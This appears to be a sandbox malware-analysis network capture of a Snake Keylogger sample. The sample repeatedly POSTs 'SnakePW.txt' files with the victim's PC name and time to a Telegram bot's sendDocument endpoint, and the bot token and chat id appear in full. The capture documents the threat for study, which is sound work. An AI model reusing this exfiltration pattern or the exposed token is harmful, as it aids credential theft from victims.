Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:32:40 UTC	7	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:32:40 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:32:40 UTC	7	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 37 35 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 37 36 30 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66750,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228760,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
40	192.168.2.5	49814	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:32:56 UTC	67	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756dee54c34 Host: api.telegram.org Content-Length: 504
2022-06-26 07:32:56 UTC	67	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 64 65 65 35 34 63 33 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756dee54c34Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:32:56 UTC	68	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:32:56 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:32:56 UTC	68	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 37 38 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 37 37 36 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66787,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228776,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
41	192.168.2.5	49815	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:32:56 UTC	69	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756df23493c Host: api.telegram.org Content-Length: 504
2022-06-26 07:32:56 UTC	69	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 64 66 32 33 34 39 33 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756df23493cContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:32:56 UTC	70	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:32:56 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:32:56 UTC	70	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 37 38 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 37 37 36 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66788,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228776,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
42	192.168.2.5	49816	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:32:56 UTC	70	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756df57bcdb Host: api.telegram.org Content-Length: 504
2022-06-26 07:32:56 UTC	71	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 64 66 35 37 62 63 64 62 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756df57bcdbContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:32:57 UTC	71	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:32:57 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:32:57 UTC	72	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 37 38 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 37 37 37 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66789,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228777,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
43	192.168.2.5	49817	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:32:57 UTC	72	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756df95b910 Host: api.telegram.org Content-Length: 504
2022-06-26 07:32:57 UTC	72	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 64 66 39 35 62 39 31 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756df95b910Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:32:57 UTC	73	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:32:57 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:32:57 UTC	73	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 37 39 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 37 37 37 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66790,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228777,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
44	192.168.2.5	49818	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:32:57 UTC	74	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756dfca2db5 Host: api.telegram.org Content-Length: 504
2022-06-26 07:32:57 UTC	74	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 64 66 63 61 32 64 62 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756dfca2db5Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:32:58 UTC	75	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:32:58 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:32:58 UTC	75	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 37 39 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 37 37 37 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66792,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228777,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
45	192.168.2.5	49821	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:32:58 UTC	76	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756e00f5165 Host: api.telegram.org Content-Length: 504
2022-06-26 07:32:58 UTC	76	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 65 30 30 66 35 31 36 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756e00f5165Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:32:58 UTC	76	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:32:58 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:32:58 UTC	77	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 37 39 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 37 37 38 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66793,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228778,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
46	192.168.2.5	49822	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:32:58 UTC	77	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756e04626c2 Host: api.telegram.org Content-Length: 504
2022-06-26 07:32:58 UTC	78	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 65 30 34 36 32 36 63 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756e04626c2Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:32:58 UTC	78	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:32:58 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:32:58 UTC	78	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 37 39 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 37 37 38 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: 